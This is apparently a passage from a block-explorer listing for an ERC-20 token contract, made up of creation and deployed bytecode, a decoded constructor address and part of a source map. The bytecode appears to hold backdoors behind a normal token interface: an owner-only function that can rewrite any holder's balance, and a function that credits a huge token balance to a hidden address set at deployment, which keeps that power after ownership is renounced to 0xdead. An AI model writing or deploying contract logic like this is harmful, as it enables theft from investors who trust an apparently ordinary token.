561194757611946611b41565b5b506119ac565b5060208310610133831016604e8410600b84101617156119825782820a90508381111561197d5761197c611b41565b5b6119ac565b61198f8484846001611842565b925090508184048111156119a6576119a5611b41565b5b81810290505b9392505050565b60006119be82611a4b565b91506119c983611a4b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a0257611a01611b41565b5b828202905092915050565b6000611a1882611a2b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a80578082015181840152602081019050611a65565b83811115611a8f576000848401525b50505050565b60006002820490506001821680611aad57607f821691505b60208210811415611ac157611ac0611b70565b5b50919050565b611ad082611c11565b810181811067ffffffffffffffff82111715611aef57611aee611bce565b5b80604052505050565b6000611b0382611a4b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b3657611b35611b41565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611eb381611a0d565b8114611ebe57600080fd5b50565b611eca81611a4b565b8114611ed557600080fd5b5056fea2646970667358221220046e666953a0514d70a98e050d8a1ee85e84f4c23021fedacddd869b0602932264736f6c63430008060033000000000000000000000000336b857b7c6ad8fea11885e5fc5cbe30386736e2

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102aa578063a9059cbb146102da578063dd62ed3e1461030a578063e559d86a1461033a578063fb86a404146103565761010b565b806370a0823114610234578063880ad0af146102645780638da5cb5b1461026e57806395d89b411461028c5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806348dfea0a146101fa5780634a8d1348146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b60405161012591906115de565b60405180910390f35b6101486004803603810190610143919061132f565b610406565b60405161015591906115c3565b60405180910390f35b610166610424565b6040516101739190611720565b60405180910390f35b610196600480360381019061019191906112dc565b61042e565b6040516101a391906115c3565b60405180910390f35b6101b4610526565b6040516101c19190611764565b60405180910390f35b6101e460048036038101906101df919061132f565b61052f565b6040516101f191906115c3565b60405180910390f35b610214600480360381019061020f919061136f565b6105db565b005b61021e610774565b60405161022b91906115a8565b60405180910390f35b61024e6004803603810190610249919061126f565b61079e565b60405161025b9190611720565b60405180910390f35b61026c6107e7565b005b610276610923565b60405161028391906115a8565b60405180910390f35b61029461094c565b6040516102a191906115de565b60405180910390f35b6102c460048036038101906102bf919061132f565b6109de565b6040516102d191906115c3565b60405180910390f35b6102f460048036038101906102ef919061132f565b610ac9565b60405161030191906115c3565b60405180910390f35b610324600480360381019061031f919061129c565b610ae7565b6040516103319190611720565b60405180910390f35b610354600480360381019061034f91906113cb565b610b6e565b005b61035e610d02565b60405161036b9190611720565b60405180910390f35b60606004805461038390611a95565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611a95565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413610d23565b8484610d2b565b6001905092915050565b6000600354905090565b600061043b848484610ef6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd90611680565b60405180910390fd5b61051a85610512610d23565b858403610d2b565b60019150509392505050565b60006012905090565b60006105d161053c610d23565b84846002600061054a610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cc91906117ec565b610d2b565b6001905092915050565b6105e3610d23565b73ffffffffffffffffffffffffffffffffffffffff16610601610923565b73ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e906116a0565b60405180910390fd5b60005b825181101561076f57600083828151811061067857610677611b9f565b5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd551363168ce4784e28e5d59fc07cbea2191657416e05f6e8cd8f1086eb91e6d828660405161075292919061173b565b60405180910390a25050808061076790611af8565b91505061065a565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ef610d23565b73ffffffffffffffffffffffffffffffffffffffff1661080d610923565b73ffffffffffffffffffffffffffffffffffffffff1614610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906116a0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461095b90611a95565b80601f016020809104026020016040519081016040528092919081815260200182805461098790611a95565b80156109d45780601f106109a9576101008083540402835291602001916109d4565b820191906000526020600020905b8154815290600101906020018083116109b757829003601f168201915b5050505050905090565b600080600260006109ed610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611700565b60405180910390fd5b610abe610ab5610d23565b85858403610d2b565b600191505092915050565b6000610add610ad6610d23565b8484610ef6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b76610d23565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610cfe5760006012600a610bdb9190611895565b63fa56ea00610bea91906119b3565b9050600061a41082610bfc91906119b3565b9050600060018060018085610c1191906119b3565b610c1b91906119b3565b610c2591906119b3565b610c2f91906119b3565b90508381610c3d91906119b3565b90508060016000610c4c610d23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c9591906117ec565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf657600080fd5b505050610cff565b5b50565b6012600a610d109190611895565b6409c7652400610d2091906119b3565b81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d92906116e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611620565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ee99190611720565b60405180910390a3505050565b60008111610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090611660565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa0906116c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090611600565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790611640565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461113591906117ec565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111999190611720565b60405180910390a350505050565b60006111ba6111b5846117a4565b61177f565b905080838252602082019050828560208602820111156111dd576111dc611c02565b5b60005b8581101561120d57816111f38882611217565b8452602084019350602083019250506001810190506111e0565b5050509392505050565b60008135905061122681611eaa565b92915050565b600082601f83011261124157611240611bfd565b5b81356112518482602086016111a7565b91505092915050565b60008135905061126981611ec1565b92915050565b60006020828403121561128557611284611c0c565b5b600061129384828501611217565b91505092915050565b600080604083850312156112b3576112b2611c0c565b5b60006112c185828601611217565b92505060206112d285828601611217565b9150509250929050565b6000806000606084860312156112f5576112f4611c0c565b5b600061130386828701611217565b935050602061131486828701611217565b92505060406113258682870161125a565b9150509250925092565b6000806040838503121561134657611345611c0c565b5b600061135485828601611217565b92505060206113658582860161125a565b9150509250929050565b6000806040838503121561138657611385611c0c565b5b600083013567ffffffffffffffff8111156113a4576113a3611c07565b5b6113b08582860161122c565b92505060206113c18582860161125a565b9150509250929050565b6000602082840312156113e1576113e0611c0c565b5b60006113ef8482850161125a565b91505092915050565b61140181611a0d565b82525050565b61141081611a1f565b82525050565b6000611421826117d0565b61142b81856117db565b935061143b818560208601611a62565b61144481611c11565b840191505092915050565b600061145c6023836117db565b915061146782611c2f565b604082019050919050565b600061147f6022836117db565b915061148a82611c7e565b604082019050919050565b60006114a26026836117db565b91506114ad82611ccd565b604082019050919050565b60006114c5601b836117db565b91506114d082611d1c565b602082019050919050565b60006114e86028836117db565b91506114f382611d45565b604082019050919050565b600061150b6020836117db565b915061151682611d94565b602082019050919050565b600061152e6025836117db565b915061153982611dbd565b604082019050919050565b60006115516024836117db565b915061155c82611e0c565b604082019050919050565b60006115746025836117db565b915061157f82611e5b565b604082019050919050565b61159381611a4b565b82525050565b6115a281611a55565b82525050565b60006020820190506115bd60008301846113f8565b92915050565b60006020820190506115d86000830184611407565b92915050565b600060208201905081810360008301526115f88184611416565b905092915050565b600060208201905081810360008301526116198161144f565b9050919050565b6000602082019050818103600083015261163981611472565b9050919050565b6000602082019050818103600083015261165981611495565b9050919050565b60006020820190508181036000830152611679816114b8565b9050919050565b60006020820190508181036000830152611699816114db565b9050919050565b600060208201905081810360008301526116b9816114fe565b9050919050565b600060208201905081810360008301526116d981611521565b9050919050565b600060208201905081810360008301526116f981611544565b9050919050565b6000602082019050818103600083015261171981611567565b9050919050565b6000602082019050611735600083018461158a565b92915050565b6000604082019050611750600083018561158a565b61175d602083018461158a565b9392505050565b60006020820190506117796000830184611599565b92915050565b600061178961179a565b90506117958282611ac7565b919050565b6000604051905090565b600067ffffffffffffffff8211156117bf576117be611bce565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006117f782611a4b565b915061180283611a4b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561183757611836611b41565b5b828201905092915050565b6000808291508390505b600185111561188c5780860481111561186857611867611b41565b5b60018516156118775780820291505b808102905061188585611c22565b945061184c565b94509492505050565b60006118a082611a4b565b91506118ab83611a55565b92506118d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118e0565b905092915050565b6000826118f057600190506119ac565b816118fe57600090506119ac565b8160018114611914576002811461191e5761194d565b60019150506119ac565b60ff8411156119305761192f611b41565b5b8360020a91508482111561194757611946611b41565b5b506119ac565b5060208310610133831016604e8410600b84101617156119825782820a90508381111561197d5761197c611b41565b5b6119ac565b61198f8484846001611842565b925090508184048111156119a6576119a5611b41565b5b81810290505b9392505050565b60006119be82611a4b565b91506119c983611a4b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a0257611a01611b41565b5b828202905092915050565b6000611a1882611a2b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a80578082015181840152602081019050611a65565b83811115611a8f576000848401525b50505050565b60006002820490506001821680611aad57607f821691505b60208210811415611ac157611ac0611b70565b5b50919050565b611ad082611c11565b810181811067ffffffffffffffff82111715611aef57611aee611bce565b5b80604052505050565b6000611b0382611a4b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b3657611b35611b41565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611eb381611a0d565b8114611ebe57600080fd5b50565b611eca81611a4b565b8114611ed557600080fd5b5056fea2646970667358221220046e666953a0514d70a98e050d8a1ee85e84f4c23021fedacddd869b0602932264736f6c63430008060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000336b857b7c6ad8fea11885e5fc5cbe30386736e2

-----Decoded View---------------
Arg [0] : ads (address): 0x336b857b7c6ad8fEa11885E5fc5cBe30386736E2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000336b857b7c6ad8fea11885e5fc5cbe30386736e2


Deployed Bytecode Sourcemap

6568:8559:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8206:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10599:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8869:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11123:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8657:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11999:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7761:336;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7173:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9167:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5602:230;;;:::i;:::-;;5913:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8419:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12556:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9604:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10106:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7268:399;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6935:68;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8206:100;8260:13;8293:5;8286:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8206:100;:::o;10599:184::-;10702:4;10719:34;10728:12;:10;:12::i;:::-;10742:2;10746:6;10719:8;:34::i;:::-;10771:4;10764:11;;10599:184;;;;:::o;8869:108::-;8930:7;8957:12;;8950:19;;8869:108;:::o;11123:529::-;11263:4;11280:36;11290:6;11298:9;11309:6;11280:9;:36::i;:::-;11329:24;11356:11;:19;11368:6;11356:19;;;;;;;;;;;;;;;:33;11376:12;:10;:12::i;:::-;11356:33;;;;;;;;;;;;;;;;11329:60;;11442:6;11422:16;:26;;11400:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;11552:57;11561:6;11569:12;:10;:12::i;:::-;11602:6;11583:16;:25;11552:8;:57::i;:::-;11640:4;11633:11;;;11123:529;;;;;:::o;8657:100::-;8715:5;6926:2;8733:16;;8657:100;:::o;11999:225::-;12107:4;12124:70;12133:12;:10;:12::i;:::-;12147:2;12183:10;12151:11;:25;12163:12;:10;:12::i;:::-;12151:25;;;;;;;;;;;;;;;:29;12177:2;12151:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;12124:8;:70::i;:::-;12212:4;12205:11;;11999:225;;;;:::o;7761:336::-;5187:12;:10;:12::i;:::-;5176:23;;:7;:5;:7::i;:::-;:23;;;5168:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7856:9:::1;7851:239;7875:8;:15;7871:1;:19;7851:239;;;7908:15;7926:8;7935:1;7926:11;;;;;;;;:::i;:::-;;;;;;;;7908:29;;7948:17;7968:9;:18;7978:7;7968:18;;;;;;;;;;;;;;;;7948:38;;8018:6;7997:9;:18;8007:7;7997:18;;;;;;;;;;;;;;;:27;;;;8051:7;8040:38;;;8060:9;8071:6;8040:38;;;;;;;:::i;:::-;;;;;;;;7897:193;;7892:3;;;;;:::i;:::-;;;;7851:239;;;;7761:336:::0;;:::o;7173:87::-;7212:7;7239:13;;;;;;;;;;;7232:20;;7173:87;:::o;9167:143::-;9257:7;9284:9;:18;9294:7;9284:18;;;;;;;;;;;;;;;;9277:25;;9167:143;;;:::o;5602:230::-;5187:12;:10;:12::i;:::-;5176:23;;:7;:5;:7::i;:::-;:23;;;5168:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5709:42:::1;5672:81;;5693:6;::::0;::::1;;;;;;;;5672:81;;;;;;;;;;;;5781:42;5764:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;5602:230::o:0;5913:87::-;5959:7;5986:6;;;;;;;;;;;5979:13;;5913:87;:::o;8419:104::-;8475:13;8508:7;8501:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8419:104;:::o;12556:460::-;12669:4;12686:24;12713:11;:25;12725:12;:10;:12::i;:::-;12713:25;;;;;;;;;;;;;;;:29;12739:2;12713:29;;;;;;;;;;;;;;;;12686:56;;12795:15;12775:16;:35;;12753:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;12911:62;12920:12;:10;:12::i;:::-;12934:2;12957:15;12938:16;:34;12911:8;:62::i;:::-;13004:4;12997:11;;;12556:460;;;;:::o;9604:200::-;9715:4;9732:42;9742:12;:10;:12::i;:::-;9756:9;9767:6;9732:9;:42::i;:::-;9792:4;9785:11;;9604:200;;;;:::o;10106:164::-;10214:7;10241:11;:17;10253:4;10241:17;;;;;;;;;;;;;;;:21;10259:2;10241:21;;;;;;;;;;;;;;;;10234:28;;10106:164;;;;:::o;7268:399::-;7346:12;:10;:12::i;:::-;7329:29;;:13;;;;;;;;;;;:29;;;7326:334;;;7374:12;6926:2;7400;:13;;;;:::i;:::-;7389:10;:24;;;;:::i;:::-;7374:39;;7428:15;7451:5;7446:4;:10;;;;:::i;:::-;7428:28;;7471:9;7497:1;7495;7493;7491;7483:7;:9;;;;:::i;:::-;:11;;;;:::i;:::-;:13;;;;:::i;:::-;:15;;;;:::i;:::-;7471:27;;7527:6;7520:4;:13;;;;:::i;:::-;7513:20;;7575:4;7548:9;:23;7558:12;:10;:12::i;:::-;7548:23;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;7619:10;7602:27;;:13;;;;;;;;;;;:27;;;7594:36;;;;;;7359:283;;;7326:334;;;;7268:399;:::o;6935:68::-;6926:2;6987;:15;;;;:::i;:::-;6969:14;:34;;;;:::i;:::-;6935:68;:::o;3966:98::-;4019:7;4046:10;4039:17;;3966:98;:::o;14768:356::-;14914:1;14898:18;;:4;:18;;;;14890:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14990:1;14976:16;;:2;:16;;;;14968:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;15068:6;15044:11;:17;15056:4;15044:17;;;;;;;;;;;;;;;:21;15062:2;15044:21;;;;;;;;;;;;;;;:30;;;;15105:2;15090:26;;15099:4;15090:26;;;15109:6;15090:26;;;;;;:::i;:::-;;;;;;;;14768:356;;;:::o;13286:712::-;13435:1;13426:6;:10;13418:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;13505:1;13487:20;;:6;:20;;;;13479:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13589:1;13568:23;;:9;:23;;;;13560:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13644:21;13668:9;:17;13678:6;13668:17;;;;;;;;;;;;;;;;13644:41;;13735:6;13718:13;:23;;13696:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;13879:6;13863:13;:22;13843:9;:17;13853:6;13843:17;;;;;;;;;;;;;;;:42;;;;13931:6;13907:9;:20;13917:9;13907:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;13972:9;13955:35;;13964:6;13955:35;;;13983:6;13955:35;;;;;;:::i;:::-;;;;;;;;13407:591;13286:712;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:139::-;798:5;836:6;823:20;814:29;;852:33;879:5;852:33;:::i;:::-;804:87;;;;:::o;914:370::-;985:5;1034:3;1027:4;1019:6;1015:17;1011:27;1001:2;;1042:79;;:::i;:::-;1001:2;1159:6;1146:20;1184:94;1274:3;1266:6;1259:4;1251:6;1247:17;1184:94;:::i;:::-;1175:103;;991:293;;;;;:::o;1290:139::-;1336:5;1374:6;1361:20;1352:29;;1390:33;1417:5;1390:33;:::i;:::-;1342:87;;;;:::o;1435:329::-;1494:6;1543:2;1531:9;1522:7;1518:23;1514:32;1511:2;;;1549:79;;:::i;:::-;1511:2;1669:1;1694:53;1739:7;1730:6;1719:9;1715:22;1694:53;:::i;:::-;1684:63;;1640:117;1501:263;;;;:::o;1770:474::-;1838:6;1846;1895:2;1883:9;1874:7;1870:23;1866:32;1863:2;;;1901:79;;:::i;:::-;1863:2;2021:1;2046:53;2091:7;2082:6;2071:9;2067:22;2046:53;:::i;:::-;2036:63;;1992:117;2148:2;2174:53;2219:7;2210:6;2199:9;2195:22;2174:53;:::i;:::-;2164:63;;2119:118;1853:391;;;;;:::o;2250:619::-;2327:6;2335;2343;2392:2;2380:9;2371:7;2367:23;2363:32;2360:2;;;2398:79;;:::i;:::-;2360:2;2518:1;2543:53;2588:7;2579:6;2568:9;2564:22;2543:53;:::i;:::-;2533:63;;2489:117;2645:2;2671:53;2716:7;2707:6;2696:9;2692:22;2671:53;:::i;:::-;2661:63;;2616:118;2773:2;2799:53;2844:7;2835:6;2824:9;2820:22;2799:53;:::i;:::-;2789:63;;2744:118;2350:519;;;;;:::o;2875:474::-;2943:6;2951;3000:2;2988:9;2979:7;2975:23;2971:32;2968:2;;;3006:79;;:::i;:::-;2968:2;3126:1;3151:53;3196:7;3187:6;3176:9;3172:22;3151:53;:::i;:::-;3141:63;;3097:117;3253:2;3279:53;3324:7;3315:6;3304:9;3300:22;3279:53;:::i;:::-;3269:63;;3224:118;2958:391;;;;;:::o;3355:684::-;3448:6;3456;3505:2;3493:9;3484:7;3480:23;3476:32;3473:2;;;3511:79;;:::i;:::-;3473:2;3659:1;3648:9;3644:17;3631:31;3689:18;3681:6;3678:30;3675:2;;;3711:79;;:::i;:::-;3675:2;3816:78;3886:7;3877:6;3866:9;3862:22;3816:78;:::i;:::-;3806:88;;3602:302;3943:2;3969:53;4014:7;4005:6;3994:9;3990:22;3969:53;:::i;:::-;3959:63;;3914:118;3463:576;;;;;:::o;4045:329::-;4104:6;4153:2;4141:9;4132:7;4128:23;4124:32;4121:2;;;4159:79;;:::i;:::-;4121:2;4279:1;4304:53;4349:7;4340:6;4329:9;4325:22;4304:53;:::i;:::-;4294:63;;4250:117;4111:263;;;;:::o;4380:118::-;4467:24;4485:5;4467:24;:::i;:::-;4462:3;4455:37;4445:53;;:::o;4504:109::-;4585:21;4600:5;4585:21;:::i;:::-;4580:3;4573:34;4563:50;;:::o;4619:364::-;4707:3;4735:39;4768:5;4735:39;:::i;:::-;4790:71;4854:6;4849:3;4790:71;:::i;:::-;4783:78;;4870:52;4915:6;4910:3;4903:4;4896:5;4892:16;4870:52;:::i;:::-;4947:29;4969:6;4947:29;:::i;:::-;4942:3;4938:39;4931:46;;4711:272;;;;;:::o;4989:366::-;5131:3;5152:67;5216:2;5211:3;5152:67;:::i;:::-;5145:74;;5228:93;5317:3;5228:93;:::i;:::-;5346:2;5341:3;5337:12;5330:19;;5135:220;;;:::o;5361:366::-;5503:3;5524:67;5588:2;5583:3;5524:67;:::i;:::-;5517:74;;5600:93;5689:3;5600:93;:::i;:::-;5718:2;5713:3;5709:12;5702:19;;5507:220;;;:::o;5733:366::-;5875:3;5896:67;5960:2;5955:3;5896:67;:::i;:::-;5889:74;;5972:93;6061:3;5972:93;:::i;:::-;6090:2;6085:3;6081:12;6074:19;;5879:220;;;:::o;6105:366::-;6247:3;6268:67;6332:2;6327:3;6268:67;:::i;:::-;6261:74;;6344:93;6433:3;6344:93;:::i;:::-;6462:2;6457:3;6453:12;6446:19;;6251:220;;;:::o;6477:366::-;6619:3;6640:67;6704:2;6699:3;6640:67;:::i;:::-;6633:74;;6716:93;6805:3;6716:93;:::i;:::-;6834:2;6829:3;6825:12;6818:19;;6623:220;;;:::o;6849:366::-;6991:3;7012:67;7076:2;7071:3;7012:67;:::i;:::-